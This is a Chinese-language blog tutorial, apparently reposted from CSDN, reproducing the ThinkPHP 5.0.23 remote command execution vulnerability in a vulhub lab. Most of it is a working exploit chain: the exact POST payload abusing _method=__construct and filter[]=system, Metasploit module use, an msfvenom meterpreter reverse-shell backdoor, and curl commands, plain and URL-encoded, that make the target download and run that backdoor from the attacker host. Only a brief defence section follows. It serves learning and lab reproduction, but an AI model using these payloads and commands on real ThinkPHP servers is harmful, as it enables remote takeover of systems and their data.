Thinkphp5.0.23远程命令执行

发布时间:2024年01月07日

导论:

thinkphp远程命令执行漏洞

php的一个开发框架,5,0.23及以前的版本中,获取method的方法中没有正确处理方法

名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行

PHP框架【对象、类、函数、数组】

一、启动漏洞环境

192.168.31.30为kali攻击机;192.168.31.221为靶机

cd /root/vulhub/thinkphp/5.0.23-rce

docker-compose up -d

1、访问 http://你的IP:8080

2、查看README.zh-cn.md 复现教程

(1)访问http://IP:8080/index.php?s=captcha 抓包发送到重放器

(2)重放器构造payload实现命令执行

修改三处:

GET请求改为POST

指定类型 Content-Type:application/x-www-form-urlencoded

添加 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

【server[REQUEST_METHOD]表示要访问页面请求的方法】

命令执行成功:uid=33(www-data) gid=33(www-data) groups=33(www-data)

二、MSF模块直接利用

msfdb run 启动msf

1、search thinkphp 查找thinkphp相关漏洞利用模块

2、info 0 查看漏洞利用模块相关信息【查看是否适用于5.0.23】

3、use 0 使用模块

show options 查看需要设置哪些参数

设置检测靶机的ip【RHOST】和本机ip【LHOST】并run

4、run后直接获取shell

MSF实现直接获取权限原理

1、开启4444端口监听

2、检查有没有thinkphp漏洞

3、生成恶意程序

4、开放8080端口,可以让目标机从8088端口下载恶意程序

5、通过漏洞直接执行远程命令:curl -so /tmp/nqlDfdCA http://192.168.31.30:8080/XMFaGEJm9;chmod +x /tmp/nqlDfdCA;/tmp/nqlDfdCA;rm -f /tmp/nqlDfdCA

6、接收反弹she11

三、手动实现漏洞利用

1、生成后门:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.30 LPORT=5555 -f elf -o /var/www/html/door_5555

2、开启监听use exploit/multi/handler

3、在命令行发送请求:

curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -so /tmp/door_5555 http://192.168.31.30/door_5555;chmod +x /tmp/door_5555;/tmp/door_5555;rm -f /tmp/door_5555"

将命令进行编码:

curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%63%75%72%6c%20%2d%73%6f%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%31%2e%33%30%2f%64%6f%6f%72%5f%35%35%35%35%3b%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%72%6d%20%2d%66%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35"

4、监听成功,拿到权限:

四、防御方法

1、升级thinphps组件
2、打补丁
3、对method和_method进行过滤
文章来源:https://blog.csdn.net/weixin_50892961/article/details/135367390
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。